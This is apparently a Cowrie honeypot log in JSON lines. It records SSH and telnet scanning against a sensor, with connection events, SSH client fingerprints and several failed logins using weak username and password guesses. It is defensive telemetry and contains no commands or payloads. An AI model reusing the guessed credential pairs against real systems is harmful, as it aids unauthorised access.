{"eventid":"cowrie.session.connect","src_ip":"103.28.15.178","src_port":47370,"dst_ip":"159.203.135.109","dst_port":23,"session":"210baa2ebe9f","protocol":"telnet","message":"New connection: 103.28.15.178:47370 (159.203.135.109:23) [session: 210baa2ebe9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:08.614743Z"}
{"eventid":"cowrie.session.closed","duration":30.735992908477783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:11.066146Z","src_ip":"176.123.5.144","session":"37f4f96e1a9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60760,"dst_ip":"159.203.135.109","dst_port":22,"session":"5265906f58f9","protocol":"ssh","message":"New connection: 80.94.92.186:60760 (159.203.135.109:22) [session: 5265906f58f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:12.181544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:12.290500Z","src_ip":"80.94.92.186","session":"5265906f58f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:12.390721Z","src_ip":"80.94.92.186","session":"5265906f58f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:12.918273Z","src_ip":"80.94.92.186","session":"5265906f58f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:14.071099Z","src_ip":"80.94.92.186","session":"5265906f58f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":43932,"dst_ip":"10.17.0.5","dst_port":23,"session":"b30307676104","protocol":"telnet","message":"New connection: 69.73.180.12:43932 (10.17.0.5:23) [session: b30307676104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:14.201764Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":54298,"dst_ip":"10.17.0.5","dst_port":23,"session":"52997583939a","protocol":"telnet","message":"New connection: 69.73.180.12:54298 (10.17.0.5:23) [session: 52997583939a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:17.101665Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":54422,"dst_ip":"10.17.0.5","dst_port":23,"session":"d80e908aba19","protocol":"telnet","message":"New connection: 69.73.180.12:54422 (10.17.0.5:23) [session: d80e908aba19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:17.119889Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":58664,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7d981f82ac3","protocol":"telnet","message":"New connection: 69.73.180.12:58664 (10.17.0.5:23) [session: f7d981f82ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:18.274476Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":33082,"dst_ip":"10.17.0.5","dst_port":23,"session":"9839ed295b74","protocol":"telnet","message":"New connection: 69.73.180.12:33082 (10.17.0.5:23) [session: 9839ed295b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:19.065975Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":33488,"dst_ip":"10.17.0.5","dst_port":23,"session":"a07d00928b81","protocol":"telnet","message":"New connection: 69.73.180.12:33488 (10.17.0.5:23) [session: a07d00928b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:19.162156Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":36810,"dst_ip":"10.17.0.5","dst_port":23,"session":"65656bd657f6","protocol":"telnet","message":"New connection: 69.73.180.12:36810 (10.17.0.5:23) [session: 65656bd657f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:20.077827Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":44624,"dst_ip":"159.203.135.109","dst_port":22,"session":"c922d555ea5e","protocol":"ssh","message":"New connection: 103.63.108.25:44624 (159.203.135.109:22) [session: c922d555ea5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:20.497289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:20.502354Z","src_ip":"103.63.108.25","session":"c922d555ea5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.778589487075806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:20.743899Z","src_ip":"72.9.146.62","session":"10672ffc3f3a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:20.777263Z","src_ip":"103.63.108.25","session":"c922d555ea5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":40970,"dst_ip":"10.17.0.5","dst_port":23,"session":"c32998683027","protocol":"telnet","message":"New connection: 69.73.180.12:40970 (10.17.0.5:23) [session: c32998683027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:21.130540Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":41058,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2a0870872bb","protocol":"telnet","message":"New connection: 69.73.180.12:41058 (10.17.0.5:23) [session: d2a0870872bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:21.154840Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test#123","message":"login attempt [test/test#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:21.925475Z","src_ip":"103.63.108.25","session":"c922d555ea5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":44996,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dc2d03a6663","protocol":"telnet","message":"New connection: 69.73.180.12:44996 (10.17.0.5:23) [session: 7dc2d03a6663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:22.165344Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":48578,"dst_ip":"10.17.0.5","dst_port":23,"session":"a17240ff3a64","protocol":"telnet","message":"New connection: 69.73.180.12:48578 (10.17.0.5:23) [session: a17240ff3a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:23.069746Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:23.210220Z","src_ip":"103.63.108.25","session":"c922d555ea5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":56512,"dst_ip":"10.17.0.5","dst_port":23,"session":"046fd9e47b09","protocol":"telnet","message":"New connection: 69.73.180.12:56512 (10.17.0.5:23) [session: 046fd9e47b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:25.112278Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":58900,"dst_ip":"10.17.0.5","dst_port":23,"session":"b14029dfd632","protocol":"telnet","message":"New connection: 69.73.180.12:58900 (10.17.0.5:23) [session: b14029dfd632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:25.671872Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.123.5.144","src_port":40900,"dst_ip":"159.203.135.109","dst_port":23,"session":"373b3f3ffbc5","protocol":"telnet","message":"New connection: 176.123.5.144:40900 (159.203.135.109:23) [session: 373b3f3ffbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:25.883898Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":59924,"dst_ip":"10.17.0.5","dst_port":23,"session":"2227757b3188","protocol":"telnet","message":"New connection: 69.73.180.12:59924 (10.17.0.5:23) [session: 2227757b3188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:25.942863Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":60188,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3c9fd24507c","protocol":"telnet","message":"New connection: 69.73.180.12:60188 (10.17.0.5:23) [session: c3c9fd24507c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:26.024236Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":60320,"dst_ip":"10.17.0.5","dst_port":23,"session":"23ea28fd61c5","protocol":"telnet","message":"New connection: 69.73.180.12:60320 (10.17.0.5:23) [session: 23ea28fd61c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:26.074957Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":34814,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fbe2b64910e","protocol":"telnet","message":"New connection: 69.73.180.12:34814 (10.17.0.5:23) [session: 8fbe2b64910e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:26.760896Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":36344,"dst_ip":"10.17.0.5","dst_port":23,"session":"45adb3fcc938","protocol":"telnet","message":"New connection: 69.73.180.12:36344 (10.17.0.5:23) [session: 45adb3fcc938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:27.210669Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":39986,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1d223d7ee66","protocol":"telnet","message":"New connection: 69.73.180.12:39986 (10.17.0.5:23) [session: b1d223d7ee66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:28.189571Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":43216,"dst_ip":"10.17.0.5","dst_port":23,"session":"9899ccdb2854","protocol":"telnet","message":"New connection: 69.73.180.12:43216 (10.17.0.5:23) [session: 9899ccdb2854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:29.100194Z"}
{"eventid":"cowrie.session.closed","duration":120.00098490715027,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:29.234445Z","src_ip":"43.224.126.107","session":"90b836e8c13c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.539867401123047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:32.149837Z","src_ip":"103.28.15.178","session":"d038920d6c78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":54860,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea3a16a7b88a","protocol":"telnet","message":"New connection: 69.73.180.12:54860 (10.17.0.5:23) [session: ea3a16a7b88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:32.183733Z"}
{"eventid":"cowrie.session.closed","duration":30.654454708099365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:34.071839Z","src_ip":"176.123.5.144","session":"b59f85373ea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":33454,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa5d7b737fab","protocol":"telnet","message":"New connection: 69.73.180.12:33454 (10.17.0.5:23) [session: aa5d7b737fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:34.076384Z"}
{"eventid":"cowrie.session.closed","duration":30.50495457649231,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:34.175028Z","src_ip":"103.28.15.178","session":"98d3f20f8521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":36020,"dst_ip":"10.17.0.5","dst_port":23,"session":"426488134547","protocol":"telnet","message":"New connection: 69.73.180.12:36020 (10.17.0.5:23) [session: 426488134547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:34.706409Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":36556,"dst_ip":"10.17.0.5","dst_port":23,"session":"b426d5c96cf9","protocol":"telnet","message":"New connection: 69.73.180.12:36556 (10.17.0.5:23) [session: b426d5c96cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:34.844782Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":37712,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cde410baca9","protocol":"telnet","message":"New connection: 69.73.180.12:37712 (10.17.0.5:23) [session: 8cde410baca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:35.142344Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":37716,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7e9b32a9a1b","protocol":"telnet","message":"New connection: 69.73.180.12:37716 (10.17.0.5:23) [session: c7e9b32a9a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:35.146156Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":37962,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bcb33fa0e25","protocol":"telnet","message":"New connection: 69.73.180.12:37962 (10.17.0.5:23) [session: 1bcb33fa0e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:35.202111Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.9.146.62","src_port":45472,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a2dd46dd27c","protocol":"telnet","message":"New connection: 72.9.146.62:45472 (159.203.135.109:23) [session: 6a2dd46dd27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:35.799587Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":41134,"dst_ip":"10.17.0.5","dst_port":23,"session":"258f7259de33","protocol":"telnet","message":"New connection: 69.73.180.12:41134 (10.17.0.5:23) [session: 258f7259de33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:36.057933Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":41254,"dst_ip":"10.17.0.5","dst_port":23,"session":"f123661598eb","protocol":"telnet","message":"New connection: 69.73.180.12:41254 (10.17.0.5:23) [session: f123661598eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:36.097844Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":41354,"dst_ip":"10.17.0.5","dst_port":23,"session":"efd477bcc87c","protocol":"telnet","message":"New connection: 69.73.180.12:41354 (10.17.0.5:23) [session: efd477bcc87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:36.120688Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":44246,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce213df833be","protocol":"telnet","message":"New connection: 69.73.180.12:44246 (10.17.0.5:23) [session: ce213df833be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:36.843747Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":44990,"dst_ip":"10.17.0.5","dst_port":23,"session":"f16a409fc9ea","protocol":"telnet","message":"New connection: 69.73.180.12:44990 (10.17.0.5:23) [session: f16a409fc9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:37.082626Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":44984,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9a067824f10","protocol":"telnet","message":"New connection: 69.73.180.12:44984 (10.17.0.5:23) [session: d9a067824f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:37.088791Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55126,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec9156a55f0b","protocol":"ssh","message":"New connection: 159.203.92.129:55126 (159.203.135.109:22) [session: ec9156a55f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:38.106281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:38.110991Z","src_ip":"159.203.92.129","session":"ec9156a55f0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:38.115805Z","src_ip":"159.203.92.129","session":"ec9156a55f0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"123456","message":"login attempt [aaaaaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:38.130058Z","src_ip":"159.203.92.129","session":"ec9156a55f0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.123.5.144","src_port":42402,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3beb9bbdd30","protocol":"telnet","message":"New connection: 176.123.5.144:42402 (159.203.135.109:23) [session: a3beb9bbdd30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:38.236114Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.9.146.62","src_port":48876,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a33e55b3f0","protocol":"telnet","message":"New connection: 72.9.146.62:48876 (159.203.135.109:23) [session: 08a33e55b3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:38.793406Z"}
{"eventid":"cowrie.session.closed","duration":30.511718034744263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:39.126324Z","src_ip":"103.28.15.178","session":"210baa2ebe9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:39.135270Z","src_ip":"159.203.92.129","session":"ec9156a55f0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":35470,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ceb14edec07","protocol":"telnet","message":"New connection: 69.73.180.12:35470 (10.17.0.5:23) [session: 3ceb14edec07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:42.109897Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.116.235.117","src_port":33396,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcdb4fcba0a6","protocol":"telnet","message":"New connection: 66.116.235.117:33396 (159.203.135.109:23) [session: fcdb4fcba0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:42.941156Z"}
